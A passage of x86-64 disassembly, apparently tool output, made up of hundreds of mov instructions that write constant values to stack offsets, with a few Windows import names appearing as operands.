mov dword [rsp + 0x9164], 0x3d55
mov dword [rsp + 0x9168], 0x33a1
mov dword [rsp + 0x916c], 0x2d27
mov eax, 0x147
mov word [rsp + 0x2470], ax
mov byte [rsp + 0x49f], 0x5e
mov dword [rsp + 0x9170], 0x375c
mov dword [rsp + 0x9174], 0x799f
mov dword [rsp + 0x9178], 0x32ed
mov eax, 0x208
mov word [rsp + 0x2474], ax
mov eax, 0xa18
mov word [rsp + 0x2478], ax
mov eax, 0xbe8
mov word [rsp + 0x247c], ax
mov dword [rsp + 0x917c], 0x412e
mov dword [rsp + 0x9180], 0xa9a7
mov eax, 0xb2
mov word [rsp + 0x2480], ax
mov dword [rsp + 0x9184], 0x152b
mov dword [rsp + 0x9188], 0x701e
mov byte [rsp + 0x4a0], 0x71
mov dword [rsp + 0x918c], 0xd58b
mov dword [rsp + 0x9190], 0x6d7e
mov dword [rsp + 0x9194], 0x598f
mov eax, 0xabe
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x9198], 0x2d5d
mov dword [rsp + 0x919c], 0x58fc
mov dword [rsp + 0x91a0], 0x2f80
mov dword [rsp + 0x91a4], 0x1a54
mov dword [rsp + 0x91a8], 0x669d
mov byte [rsp + 0x4a1], 1
mov dword [rsp + 0x91ac], 0x20e2
mov dword [rsp + 0x91b0], 0x5357
mov eax, 0x989
mov word [rsp + 0x2488], ax
mov dword [rsp + 0x91b4], 0x67aa
mov dword [rsp + 0x91b8], reloc.SHELL32.dll_SHMultiFileProperties
mov dword [rsp + 0x91bc], 0xb88
mov eax, 0xba6
mov word [rsp + 0x248c], ax
mov dword [rsp + 0x91c0], 0xbe3e
mov dword [rsp + 0x91c4], 0x48cc
mov dword [rsp + 0x91c8], 0x23fa
mov dword [rsp + 0x91cc], 0x57e8
mov dword [rsp + 0x91d0], 0x4ccc
mov dword [rsp + 0x91d4], 0xd65f
mov dword [rsp + 0x91d8], 0x785e
mov dword [rsp + 0x91dc], 0x18
mov eax, 0x33e
mov word [rsp + 0x2490], ax
mov eax, 0x73a
mov word [rsp + 0x2494], ax
mov byte [rsp + 0x4a2], 0x4c
mov dword [rsp + 0x91e0], 0x208d
mov eax, 0xc3b
mov word [rsp + 0x2498], ax
mov eax, 0xa1c
mov word [rsp + 0x249c], ax
mov dword [rsp + 0x91e4], 0x8ede
mov dword [rsp + 0x91e8], 0x4871
mov dword [rsp + 0x91ec], 0x7314
mov dword [rsp + 0x91f0], 0x205b
mov eax, 0x3b3
mov word [rsp + 0x24a0], ax
mov dword [rsp + 0x91f4], 0xe51a
mov byte [rsp + 0x4a3], 0xfb
mov eax, 0x3cd
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x91f8], 0x1e27
mov dword [rsp + 0x91fc], 0xd93
mov dword [rsp + 0x9200], 0x7121
mov byte [rsp + 0x4a4], 0x73
mov byte [rsp + 0x4a5], 0x9b
mov eax, 0x855
mov word [rsp + 0x24a8], ax
mov eax, 0x31f
mov word [rsp + 0x24ac], ax
mov eax, 0x213
mov word [rsp + 0x24b0], ax
mov dword [rsp + 0x9204], 0xf47
mov dword [rsp + 0x9208], 0x3fae
mov byte [rsp + 0x4a6], 0x31
mov byte [rsp + 0x4a7], 9
mov dword [rsp + 0x920c], 0x1bc8
mov dword [rsp + 0x9210], 0x4cdd
mov dword [rsp + 0x9214], 0x65fd
mov eax, 0x371
mov word [rsp + 0x24b4], ax
mov eax, 0x3ba
mov word [rsp + 0x24b8], ax
mov eax, 0x819
mov word [rsp + 0x24bc], ax
mov dword [rsp + 0x9218], 0x4c76
mov dword [rsp + 0x921c], 0x4947
mov byte [rsp + 0x4a8], 0x37
mov byte [rsp + 0x4a9], 0x70
mov dword [rsp + 0x9220], 0x14e1
mov dword [rsp + 0x9224], 0x762e
mov dword [rsp + 0x9228], 0x6fbe
mov dword [rsp + 0x922c], 0x5f99
mov eax, 0xa47
mov word [rsp + 0x24c0], ax
mov eax, 0xb50
mov word [rsp + 0x24c4], ax
mov dword [rsp + 0x9230], 0x1516
mov dword [rsp + 0x9234], 0x765c
mov dword [rsp + 0x9238], 0x8fc9
mov dword [rsp + 0x923c], 0x6929
mov dword [rsp + 0x9240], 0x5a85
mov dword [rsp + 0x9244], 0xa44f
mov dword [rsp + 0x9248], 0xfad1
mov dword [rsp + 0x924c], 0x40a4
mov eax, 0xc31
mov word [rsp + 0x24c8], ax
mov eax, 0x35d
mov word [rsp + 0x24cc], ax
mov dword [rsp + 0x9250], 0x1ce1
mov dword [rsp + 0x9254], 0x5d43
mov dword [rsp + 0x9258], 0x4100
mov dword [rsp + 0x925c], 0x9c8d
mov dword [rsp + 0x9260], 0x71c7
mov dword [rsp + 0x9264], 0x7d92
mov dword [rsp + 0x9268], 0x21fc
mov dword [rsp + 0x926c], 0x2edc
mov eax, 0x663
mov word [rsp + 0x24d0], ax
mov eax, 0x264
mov word [rsp + 0x24d4], ax
mov dword [rsp + 0x9270], 0x235e
mov eax, 0xef
mov word [rsp + 0x24d8], ax
mov byte [rsp + 0x4aa], 0xa
mov byte [rsp + 0x4ab], 0xeb
mov dword [rsp + 0x9274], 0x1b39
mov dword [rsp + 0x9278], 0x761f
mov eax, 0xb27
mov word [rsp + 0x24dc], ax
mov eax, 0x1f1
mov word [rsp + 0x24e0], ax
mov dword [rsp + 0x927c], 0x5796
mov dword [rsp + 0x9280], 0x5b7b
mov eax, 0xfa2
mov word [rsp + 0x24e4], ax
mov dword [rsp + 0x9284], 0x67f8
mov dword [rsp + 0x9288], 0x4b90
mov eax, 0x1fe
mov word [rsp + 0x24e8], ax
mov dword [rsp + 0x928c], 0xab99
mov dword [rsp + 0x9290], 0x5e5c
mov byte [rsp + 0x4ac], 0xd9
mov byte [rsp + 0x4ad], 0x1c
mov eax, 0x5b6
mov word [rsp + 0x24ec], ax
mov byte [rsp + 0x4ae], 0x6c
mov eax, 0x4a9
mov word [rsp + 0x24f0], ax
mov eax, 0x6f3
mov word [rsp + 0x24f4], ax
mov eax, 0x96a
mov word [rsp + 0x24f8], ax
mov eax, 0xc40
mov word [rsp + 0x24fc], ax
mov eax, 0xc56
mov word [rsp + 0x2500], ax
mov eax, 0xaca
mov word [rsp + 0x2504], ax
mov dword [rsp + 0x9294], 0x5ee1
mov byte [rsp + 0x4af], 0x79
mov dword [rsp + 0x9298], 0x6015
mov eax, 0x7f2
mov word [rsp + 0x2508], ax
mov eax, 0x35c
mov word [rsp + 0x250c], ax
mov dword [rsp + 0x929c], 0x983
mov dword [rsp + 0x92a0], 0x5454
mov dword [rsp + 0x92a4], 0xc03a
mov byte [rsp + 0x4b0], 0x8e
mov dword [rsp + 0x92a8], 0x6420
mov dword [rsp + 0x92ac], 0x1f93
mov dword [rsp + 0x92b0], 0xd243
mov dword [rsp + 0x92b4], 0xc1a6
mov dword [rsp + 0x92b8], 0xecb1
mov dword [rsp + 0x92bc], 0x5201
mov byte [rsp + 0x4b1], 0x28
mov dword [rsp + 0x92c0], 0x1ad6
mov dword [rsp + 0x92c4], 0x5a28
mov byte [rsp + 0x4b2], 0xf4
mov byte [rsp + 0x4b3], 0x48
mov dword [rsp + 0x92c8], 0x100c
mov dword [rsp + 0x92cc], 0x8a98
mov dword [rsp + 0x92d0], 0x512f
mov eax, 0xf5
mov word [rsp + 0x2510], ax
mov dword [rsp + 0x92d4], 0x3db1
mov eax, 0x40
mov word [rsp + 0x2514], ax
mov byte [rsp + 0x4b4], 0x11
mov dword [rsp + 0x92d8], 0x647f
mov dword [rsp + 0x92dc], 0x7149
mov dword [rsp + 0x92e0], 0x6d43
mov dword [rsp + 0x92e4], 0xcc2f
mov dword [rsp + 0x92e8], 0xb6e7
mov eax, 0x31e
mov word [rsp + 0x2518], ax
mov dword [rsp + 0x92ec], 0x5daa
mov dword [rsp + 0x92f0], 0x3765
mov dword [rsp + 0x92f4], 0xc56
mov dword [rsp + 0x92f8], 0x3eda
mov dword [rsp + 0x92fc], 0x597
mov dword [rsp + 0x9300], 0x9754
mov dword [rsp + 0x9304], 0x55fb
mov dword [rsp + 0x9308], 0x6487
mov dword [rsp + 0x930c], 0xddc8
mov dword [rsp + 0x9310], 0x1a9d
mov dword [rsp + 0x9314], 0x650b
mov eax, 0xf2f
mov word [rsp + 0x251c], ax
mov byte [rsp + 0x4b5], 0x7b
mov dword [rsp + 0x9318], 0x7e36
mov byte [rsp + 0x4b6], 0xce
mov dword [rsp + 0x931c], 0x79f0
mov dword [rsp + 0x9320], 0x5ae4
mov dword [rsp + 0x9324], 0x5956
mov byte [rsp + 0x4b7], 0x9a
mov dword [rsp + 0x9328], 0xb432
mov eax, 0x249
mov word [rsp + 0x2520], ax
mov byte [rsp + 0x4b8], 0x22
mov byte [rsp + 0x4b9], 0xa9
mov dword [rsp + 0x932c], 0x3c73
mov dword [rsp + 0x9330], 0x34b0
mov byte [rsp + 0x4ba], 0x27
mov byte [rsp + 0x4bb], 0x95
mov byte [rsp + 0x4bc], 0xc4
mov eax, 0x53f
mov word [rsp + 0x2524], ax
mov dword [rsp + 0x9334], 0x283b
mov eax, 0xd9f
mov word [rsp + 0x2528], ax
mov dword [rsp + 0x9338], 0xab29
mov dword [rsp + 0x933c], 0x17db
mov dword [rsp + 0x9340], 0x1591
mov byte [rsp + 0x4bd], 0xe9
mov byte [rsp + 0x4be], 0x40
mov dword [rsp + 0x9344], 0x2997
mov dword [rsp + 0x9348], 0x57b2
mov dword [rsp + 0x934c], 0x239d
mov dword [rsp + 0x9350], 0x7e65
mov byte [rsp + 0x4bf], 0x62
mov eax, 0x27e
mov word [rsp + 0x252c], ax
mov dword [rsp + 0x9354], 0x64c9
mov dword [rsp + 0x9358], 0x359b
mov byte [rsp + 0x4c0], 0xb5
mov dword [rsp + 0x935c], 0x2918
mov dword [rsp + 0x9360], 0x4055
mov dword [rsp + 0x9364], 0x11ae
mov dword [rsp + 0x9368], 0x222
mov dword [rsp + 0x936c], 0x2bc6
mov eax, 0x5e8
mov word [rsp + 0x2530], ax
mov byte [rsp + 0x4c1], 0x9e
mov eax, 0xa2c
mov word [rsp + 0x2534], ax
mov dword [rsp + 0x9370], 0x2d52
mov dword [rsp + 0x9374], 0xc8c0
mov byte [rsp + 0x4c2], 0x58
mov dword [rsp + 0x9378], 0x63d9
mov eax, 0xefe
mov word [rsp + 0x2538], ax
mov eax, 0x399
mov word [rsp + 0x253c], ax
mov dword [rsp + 0x937c], 0x779d
mov dword [rsp + 0x9380], 0x235b
mov eax, 0x1bb
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x9384], 0x6a9
mov eax, 0x59f
mov word [rsp + 0x2544], ax
mov dword [rsp + 0x9388], 0x2d34
mov dword [rsp + 0x938c], 0x281f
mov dword [rsp + 0x9390], 0xda4d
mov dword [rsp + 0x9394], 0x7c6
mov eax, 0xc89
mov word [rsp + 0x2548], ax
mov eax, 0xf2d
mov word [rsp + 0x254c], ax
mov eax, 0x6fe
mov word [rsp + 0x2550], ax
mov eax, 0x192
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x9398], 0x98c0
mov eax, 0x6dc
mov word [rsp + 0x2558], ax
mov byte [rsp + 0x4c3], 0x6e
mov dword [rsp + 0x939c], 0x6625
mov eax, 0xb35
mov word [rsp + 0x255c], ax
mov byte [rsp + 0x4c4], 0x84
mov byte [rsp + 0x4c5], 0x5f
mov dword [rsp + 0x93a0], 0x10fd
mov eax, 0x4f
mov word [rsp + 0x2560], ax
mov dword [rsp + 0x93a4], 0x386e
mov eax, 0xf86
mov word [rsp + 0x2564], ax
mov byte [rsp + 0x4c6], 0x7b
mov dword [rsp + 0x93a8], 0x4449
mov dword [rsp + 0x93ac], 0x1332
mov eax, 0x442
mov word [rsp + 0x2568], ax
mov byte [rsp + 0x4c7], 0x2f
mov dword [rsp + 0x93b0], 0x62a3
mov dword [rsp + 0x93b4], 0x23cc
mov dword [rsp + 0x93b8], 0x880a
mov byte [rsp + 0x4c8], 0x56
mov dword [rsp + 0x93bc], 0x2f28
mov dword [rsp + 0x93c0], 0x43ec
mov dword [rsp + 0x93c4], 0x1572
mov byte [rsp + 0x4c9], 0xb4
mov dword [rsp + 0x93c8], 0x7474
mov eax, 0x58e
mov word [rsp + 0x256c], ax
mov dword [rsp + 0x93cc], 0x69e7
mov dword [rsp + 0x93d0], 0x4b5b
mov byte [rsp + 0x4ca], 0x67
mov dword [rsp + 0x93d4], 0x21e9
mov dword [rsp + 0x93d8], 0x6508
mov dword [rsp + 0x93dc], 0xb9b
mov dword [rsp + 0x93e0], 0x2349
mov eax, 0x7da
mov word [rsp + 0x2570], ax
mov dword [rsp + 0x93e4], 0x2b98
mov dword [rsp + 0x93e8], 0x4a5d
mov dword [rsp + 0x93ec], 0x68ef
mov dword [rsp + 0x93f0], 0x56f2
mov dword [rsp + 0x93f4], 0x2ad4
mov dword [rsp + 0x93f8], 0x7251
mov dword [rsp + 0x93fc], 0x2e1c
mov dword [rsp + 0x9400], 0x5452
mov byte [rsp + 0x4cb], 0x1c
mov eax, 0x4f5
mov word [rsp + 0x2574], ax
mov dword [rsp + 0x9404], 0x30bc
mov dword [rsp + 0x9408], 0x42bf
mov dword [rsp + 0x940c], 0x1f95
mov dword [rsp + 0x9410], 0x7b9
mov byte [rsp + 0x4cc], 0x69
mov byte [rsp + 0x4cd], 0x92
mov eax, 0x596
mov word [rsp + 0x2578], ax
mov byte [rsp + 0x4ce], 0x5c
mov eax, 0x60b
mov word [rsp + 0x257c], ax
mov dword [rsp + 0x9414], 0x39ad
mov byte [rsp + 0x4cf], 3
mov dword [rsp + 0x9418], 0xb849
mov dword [rsp + 0x941c], 0xb2a
mov dword [rsp + 0x9420], 0x380f
mov eax, 0xc8d
mov word [rsp + 0x2580], ax
mov dword [rsp + 0x9424], 0x207e
mov dword [rsp + 0x9428], 0x10af
mov dword [rsp + 0x942c], 0xd164
mov dword [rsp + 0x9430], 0x1ed8
mov eax, 0x1c1
mov word [rsp + 0x2584], ax
mov dword [rsp + 0x9434], 0x2759
mov byte [rsp + 0x4d0], 0x38
mov byte [rsp + 0x4d1], 0x1c
mov byte [rsp + 0x4d2], 0x6d
mov dword [rsp + 0x9438], 0x75fe
mov eax, 0x63e
mov word [rsp + 0x2588], ax
mov dword [rsp + 0x943c], 0x251b
mov eax, 0xabd
mov word [rsp + 0x258c], ax
mov eax, 0x1cc
mov word [rsp + 0x2590], ax
mov dword [rsp + 0x9440], 0x7218
mov eax, 0x4be
mov word [rsp + 0x2594], ax
mov eax, 0x25b
mov word [rsp + 0x2598], ax
mov dword [rsp + 0x9444], 0x61ad
mov eax, 0x76a
mov word [rsp + 0x259c], ax
mov dword [rsp + 0x9448], 0xa95b
mov dword [rsp + 0x944c], 0xda76
mov byte [rsp + 0x4d3], 0x5c
mov dword [rsp + 0x9450], 0x46b3
mov dword [rsp + 0x9454], 0xfee1
mov dword [rsp + 0x9458], 0x6729
mov dword [rsp + 0x945c], 0x41b7
mov byte [rsp + 0x4d4], 0x6e
mov dword [rsp + 0x9460], 0x781c
mov dword [rsp + 0x9464], 0x6ff3
mov dword [rsp + 0x9468], 0x6d6c
mov eax, 0x403
mov word [rsp + 0x25a0], ax
mov dword [rsp + 0x946c], 0x73e1
mov eax, 0x668
mov word [rsp + 0x25a4], ax
mov byte [rsp + 0x4d5], 0x17
mov dword [rsp + 0x9470], 0x2608
mov eax, 0x5be
mov word [rsp + 0x25a8], ax
mov byte [rsp + 0x4d6], 0x93
mov eax, 0x5dc
mov word [rsp + 0x25ac], ax
mov byte [rsp + 0x4d7], 0x56
mov byte [rsp + 0x4d8], 0xbf
mov dword [rsp + 0x9474], 0x4a4
mov dword [rsp + 0x9478], 0x4a46
mov dword [rsp + 0x947c], 0x304d
mov eax, 0xbe8
mov word [rsp + 0x25b0], ax
mov dword [rsp + 0x9480], 0x2ea9
mov dword [rsp + 0x9484], 0x85fd
mov byte [rsp + 0x4d9], 0x43
mov dword [rsp + 0x9488], 0x7695
mov byte [rsp + 0x4da], 9
mov byte [rsp + 0x4db], 0x72
mov dword [rsp + 0x948c], 0x429d
mov dword [rsp + 0x9490], 0x53da
mov byte [rsp + 0x4dc], 0x7b
mov dword [rsp + 0x9494], 0x5475
mov eax, 0x562
mov word [rsp + 0x25b4], ax
mov byte [rsp + 0x4dd], 0x47
mov byte [rsp + 0x4de], 0x9d
mov dword [rsp + 0x9498], 0xf4d4
mov byte [rsp + 0x4df], 0x2b
mov dword [rsp + 0x949c], 0x6d47
mov byte [rsp + 0x4e0], 0xe5
mov dword [rsp + 0x94a0], 0x2390
mov byte [rsp + 0x4e1], 0x32
mov dword [rsp + 0x94a4], 0x19ff
mov byte [rsp + 0x4e2], 0
mov dword [rsp + 0x94a8], 0x22d
mov eax, 0xd2d
mov word [rsp + 0x25b8], ax
mov dword [rsp + 0x94ac], 0x2c3a
mov eax, 0x736
mov word [rsp + 0x25bc], ax
mov byte [rsp + 0x4e3], 0x52
mov dword [rsp + 0x94b0], 0x4253
mov dword [rsp + 0x94b4], 0x67e
mov dword [rsp + 0x94b8], 0xef4
mov byte [rsp + 0x4e4], 0x3f
mov dword [rsp + 0x94bc], 0x446b
mov dword [rsp + 0x94c0], 0x25e3
mov dword [rsp + 0x94c4], 0x94cc
mov byte [rsp + 0x4e5], 0x55
mov dword [rsp + 0x94c8], 0x4b58
mov dword [rsp + 0x94cc], 0x2098
mov dword [rsp + 0x94d0], 0xde65
mov eax, 0x58f
mov word [rsp + 0x25c0], ax
mov dword [rsp + 0x94d4], 0x411e
mov eax, 0x3a5
mov word [rsp + 0x25c4], ax
mov byte [rsp + 0x4e6], 0xd7
mov dword [rsp + 0x94d8], 0x683d
mov eax, 0xf51
mov word [rsp + 0x25c8], ax
mov eax, 0x26e
mov word [rsp + 0x25cc], ax
mov byte [rsp + 0x4e7], 0xfc
mov byte [rsp + 0x4e8], 0xf
mov dword [rsp + 0x94dc], 0x316
mov byte [rsp + 0x4e9], 0x8e
mov byte [rsp + 0x4ea], 0x20
mov dword [rsp + 0x94e0], 0x3038
mov dword [rsp + 0x94e4], 0x7380
mov eax, 0xf16
mov word [rsp + 0x25d0], ax
mov eax, 0x1a6
mov word [rsp + 0x25d4], ax
mov dword [rsp + 0x94e8], 0x9709
mov dword [rsp + 0x94ec], 0x1d90
mov dword [rsp + 0x94f0], 0x41e6
mov byte [rsp + 0x4eb], 0xa
mov eax, 0x9b6
mov word [rsp + 0x25d8], ax
mov byte [rsp + 0x4ec], 0x6d
mov dword [rsp + 0x94f4], 0x7315
mov dword [rsp + 0x94f8], 0x65db
mov dword [rsp + 0x94fc], 0x6524
mov eax, 0x35c
mov word [rsp + 0x25dc], ax
mov dword [rsp + 0x9500], 0x72b7
mov byte [rsp + 0x4ed], 7
mov dword [rsp + 0x9504], 0x57e3
mov dword [rsp + 0x9508], 0x2379
mov dword [rsp + 0x950c], 0x4b56
mov dword [rsp + 0x9510], 0xbe28
mov dword [rsp + 0x9514], 0x7e5e
mov byte [rsp + 0x4ee], 0x82
mov dword [rsp + 0x9518], 0x34fa
mov dword [rsp + 0x951c], 0x511e
mov byte [rsp + 0x4ef], 0xa7
mov dword [rsp + 0x9520], 0xe7c
mov dword [rsp + 0x9524], 0x6b19
mov byte [rsp + 0x4f0], 0x8d
mov eax, 0xc78
mov word [rsp + 0x25e0], ax
mov dword [rsp + 0x9528], 0x2e57
mov dword [rsp + 0x952c], 0xb5b
mov dword [rsp + 0x9530], 0x6f3a
mov dword [rsp + 0x9534], 0xf520
mov byte [rsp + 0x4f1], 3
mov dword [rsp + 0x9538], 0x7de3
mov eax, 0xc8d
mov word [rsp + 0x25e4], ax
mov dword [rsp + 0x953c], 0x7069
mov dword [rsp + 0x9540], 0x5ef9
mov dword [rsp + 0x9544], 0x60bc
mov eax, 0x3fa
mov word [rsp + 0x25e8], ax
mov dword [rsp + 0x9548], 0x7d3e
mov dword [rsp + 0x954c], 0x4437
mov eax, 0x5b7
mov word [rsp + 0x25ec], ax
mov byte [rsp + 0x4f2], 0x9b
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x25f0], ax
mov dword [rsp + 0x9550], 0x5880
mov dword [rsp + 0x9554], 0x5998
mov byte [rsp + 0x4f3], 0x3b
mov dword [rsp + 0x9558], 0x60ae
mov byte [rsp + 0x4f4], 0x5b
mov dword [rsp + 0x955c], 0x5d9c
mov byte [rsp + 0x4f5], 0x25
mov eax, 0x5ec
mov word [rsp + 0x25f4], ax
mov dword [rsp + 0x9560], 0x620e
mov dword [rsp + 0x9564], 0x270e
mov byte [rsp + 0x4f6], 0xc
mov dword [rsp + 0x9568], 0xd16
mov dword [rsp + 0x956c], 0x6b1
mov eax, 0xc82
mov word [rsp + 0x25f8], ax
mov byte [rsp + 0x4f7], 0xd3
mov eax, 0x7c4
mov word [rsp + 0x25fc], ax
mov dword [rsp + 0x9570], 0x2369
mov dword [rsp + 0x9574], 0x436
mov dword [rsp + 0x9578], 0x400e
mov dword [rsp + 0x957c], 0x12cd
mov eax, 0x753
mov word [rsp + 0x2600], ax
mov dword [rsp + 0x9580], 0x26f
mov dword [rsp + 0x9584], 0x2d08
mov eax, 0xc47
mov word [rsp + 0x2604], ax
mov dword [rsp + 0x9588], 0x9646
mov dword [rsp + 0x958c], 0x8296
mov dword [rsp + 0x9590], 0xd4b6
mov dword [rsp + 0x9594], 0x7250
mov dword [rsp + 0x9598], 0x435f
mov dword [rsp + 0x959c], 0x1360
mov dword [rsp + 0x95a0], 0xf8bf
mov byte [rsp + 0x4f8], 0x2d
mov dword [rsp + 0x95a4], 0x4cd0
mov eax, 0xbe6
mov word [rsp + 0x2608], ax
mov byte [rsp + 0x4f9], 0x53
mov byte [rsp + 0x4fa], 0xa4
mov eax, 0xe4
mov word [rsp + 0x260c], ax
mov byte [rsp + 0x4fb], 0xa7
mov eax, 0x6e7
mov word [rsp + 0x2610], ax
mov dword [rsp + 0x95a8], 0x51b7
mov dword [rsp + 0x95ac], 0x6a58
mov eax, 0xdcf
mov word [rsp + 0x2614], ax
mov byte [rsp + 0x4fc], 0xe0
mov byte [rsp + 0x4fd], 0x1f
mov dword [rsp + 0x95b0], 0x831
mov eax, 0xd3e
mov word [rsp + 0x2618], ax
mov dword [rsp + 0x95b4], 0xebff
mov dword [rsp + 0x95b8], 0x698e
mov dword [rsp + 0x95bc], 0xdb84
mov byte [rsp + 0x4fe], 0x6d
mov dword [rsp + 0x95c0], 0x7217
mov dword [rsp + 0x95c4], 0x1bfb
mov dword [rsp + 0x95c8], 0x6893
mov byte [rsp + 0x4ff], 0x4f
mov dword [rsp + 0x95cc], 0x4199
mov dword [rsp + 0x95d0], 0x160a
mov dword [rsp + 0x95d4], 0xcfa
mov eax, 0x773
mov word [rsp + 0x261c], ax
mov eax, DrawInsert
mov word [rsp + 0x2620], ax
mov dword [rsp + 0x95d8], 0x7d0a
mov byte [rsp + 0x500], 0x7f
mov eax, 0x30d
mov word [rsp + 0x2624], ax
mov dword [rsp + 0x95dc], 0xdc1
mov byte [rsp + 0x501], 0x37
mov eax, 0x3b8
mov word [rsp + 0x2628], ax
mov eax, 0xf7
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x95e0], 0x2926
mov dword [rsp + 0x95e4], 0xf926
mov byte [rsp + 0x502], 0x36
mov byte [rsp + 0x503], 0x2c
mov dword [rsp + 0x95e8], 0x54aa
mov dword [rsp + 0x95ec], 0x6219
mov dword [rsp + 0x95f0], 0x176c
mov dword [rsp + 0x95f4], 0x8b60
mov dword [rsp + 0x95f8], 0x33b4
mov eax, 0xed9
mov word [rsp + 0x2630], ax
mov dword [rsp + 0x95fc], 0x833
mov dword [rsp + 0x9600], 0x7dde
mov dword [rsp + 0x9604], 0xad7
mov dword [rsp + 0x9608], 0xd4a
mov byte [rsp + 0x504], 0x7c
mov eax, 2
mov word [rsp + 0x2634], ax
mov dword [rsp + 0x960c], 0x29ed
mov eax, 0xdfa
mov word [rsp + 0x2638], ax
mov dword [rsp + 0x9610], 0x719a
mov byte [rsp + 0x505], 0x4a
mov byte [rsp + 0x506], 0xbf
mov dword [rsp + 0x9614], 0x40dd
mov dword [rsp + 0x9618], 0x1211
mov eax, 0x231
mov word [rsp + 0x263c], ax
mov eax, 0x4d5
mov word [rsp + 0x2640], ax
mov byte [rsp + 0x507], 0x12
mov dword [rsp + 0x961c], 0x1e3f
mov dword [rsp + 0x9620], 0x7155
mov dword [rsp + 0x9624], 0x561c
mov eax, 0xdd5
mov word [rsp + 0x2644], ax
mov eax, 0x373
mov word [rsp + 0x2648], ax
mov dword [rsp + 0x9628], 0x1efa
mov dword [rsp + 0x962c], 0xc33c
mov byte [rsp + 0x508], 0x53
mov byte [rsp + 0x509], 8
mov dword [rsp + 0x9630], 0x2612
mov dword [rsp + 0x9634], 0x17d5
mov dword [rsp + 0x9638], 0x18b5
mov dword [rsp + 0x963c], 0xf732
mov byte [rsp + 0x50a], 0x1f
mov dword [rsp + 0x9640], 0xbf3
mov eax, 0x7c6
mov word [rsp + 0x264c], ax
mov dword [rsp + 0x9644], 0x53b6
mov eax, 0x72d
mov word [rsp + 0x2650], ax
mov eax, 0x6c8
mov word [rsp + 0x2654], ax
mov eax, 0x1db
mov word [rsp + 0x2658], ax
mov dword [rsp + 0x9648], 0x489a
mov eax, 0x4cc
mov word [rsp + 0x265c], ax
mov eax, 0x1c5
mov word [rsp + 0x2660], ax
mov dword [rsp + 0x964c], 0x526c
mov dword [rsp + 0x9650], 0x221d
mov byte [rsp + 0x50b], 0xa7
mov dword [rsp + 0x9654], 0x1469
mov dword [rsp + 0x9658], 0x1ac
mov eax, 0x6cc
mov word [rsp + 0x2664], ax
mov eax, 0xe94
mov word [rsp + 0x2668], ax
mov dword [rsp + 0x965c], 0x70ee
mov dword [rsp + 0x9660], 0x221
mov byte [rsp + 0x50c], 0x72
mov byte [rsp + 0x50d], 0xae
mov byte [rsp + 0x50e], 0x34
mov dword [rsp + 0x9664], 0x7472
mov dword [rsp + 0x9668], 0xf76b
mov dword [rsp + 0x966c], 0x431f
mov eax, 0x42
mov word [rsp + 0x266c], ax
mov byte [rsp + 0x50f], 0xa7
mov dword [rsp + 0x9670], 0x4792
mov dword [rsp + 0x9674], 0x58e9
mov dword [rsp + 0x9678], 0x74f1
mov eax, 0x69b
mov word [rsp + 0x2670], ax
mov dword [rsp + 0x967c], 0x309e
mov eax, 0x2a4
mov word [rsp + 0x2674], ax
mov byte [rsp + 0x510], 0xb
mov dword [rsp + 0x9680], 0xf4ed
mov dword [rsp + 0x9684], 0x5dab
mov dword [rsp + 0x9688], 0x29c9
mov dword [rsp + 0x968c], 0x18a0
mov dword [rsp + 0x9690], 0x2019
mov eax, 0x7ee
mov word [rsp + 0x2678], ax
mov byte [rsp + 0x511], 0xa8
mov byte [rsp + 0x512], 0xe7
mov eax, 0x7a0
mov word [rsp + 0x267c], ax
mov dword [rsp + 0x9694], 0xebb1
mov dword [rsp + 0x9698], 0x2412
mov dword [rsp + 0x969c], 0x407e
mov dword [rsp + 0x96a0], 0x832a
mov dword [rsp + 0x96a4], 0x347
mov dword [rsp + 0x96a8], 0x20b3
mov dword [rsp + 0x96ac], 0x473a
mov dword [rsp + 0x96b0], 0xe03d
mov dword [rsp + 0x96b4], 0x3ca8
mov dword [rsp + 0x96b8], 0x40fd
mov dword [rsp + 0x96bc], 0x6a00
mov dword [rsp + 0x96c0], 0x1c99
mov dword [rsp + 0x96c4], 0x69d5
mov eax, 0xaac
mov word [rsp + 0x2680], ax
mov dword [rsp + 0x96c8], 0x2355
mov dword [rsp + 0x96cc], 0x4b5d
mov dword [rsp + 0x96d0], 0x2379
mov byte [rsp + 0x513], 0xf3
mov byte [rsp + 0x514], 9
mov byte [rsp + 0x515], 0x82
mov eax, 0xce0
mov word [rsp + 0x2684], ax
mov byte [rsp + 0x516], 0xb
mov eax, 0x433
mov word [rsp + 0x2688], ax
mov byte [rsp + 0x517], 0x2e
mov dword [rsp + 0x96d4], 0x2961
mov dword [rsp + 0x96d8], 0x38db
mov byte [rsp + 0x518], 0x54
mov dword [rsp + 0x96dc], 0x7e87
mov dword [rsp + 0x96e0], 0x63ec
mov dword [rsp + 0x96e4], 0x20fa
mov dword [rsp + 0x96e8], 0x442c
mov eax, 0x3b1
mov word [rsp + 0x268c], ax
mov dword [rsp + 0x96ec], 0x55fd
mov eax, 0x31b
mov word [rsp + 0x2690], ax
mov byte [rsp + 0x519], 0x5d
mov dword [rsp + 0x96f0], 0x132d
mov dword [rsp + 0x96f4], 0x7223
mov dword [rsp + 0x96f8], 0x4115
mov byte [rsp + 0x51a], 0x6d
mov dword [rsp + 0x96fc], 0xc7b0
mov byte [rsp + 0x51b], 0x5d
mov byte [rsp + 0x51c], 0xb3
mov dword [rsp + 0x9700], 0x4b51
mov byte [rsp + 0x51d], 0xe
mov dword [rsp + 0x9704], 0x2480
mov byte [rsp + 0x51e], 0xa
mov eax, 0x92
mov word [rsp + 0x2694], ax
mov byte [rsp + 0x51f], 0xb9
mov eax, 0x1a
mov word [rsp + 0x2698], ax
mov byte [rsp + 0x520], 0x26
mov dword [rsp + 0x9708], 0x2faf
mov dword [rsp + 0x970c], 0x34df
mov dword [rsp + 0x9710], 0x224
mov eax, 0x60c
mov word [rsp + 0x269c], ax
mov dword [rsp + 0x9714], 0xdff
mov eax, 0x52b
mov word [rsp + 0x26a0], ax
mov eax, 0x431
mov word [rsp + 0x26a4], ax
mov dword [rsp + 0x9718], 0x66d2
mov eax, 0x44a
mov word [rsp + 0x26a8], ax
mov dword [rsp + 0x971c], 0x6fca
mov eax, 0x245
mov word [rsp + 0x26ac], ax
mov dword [rsp + 0x9720], 0xd18d
mov byte [rsp + 0x521], 0x3c
mov dword [rsp + 0x9724], 0x68e4
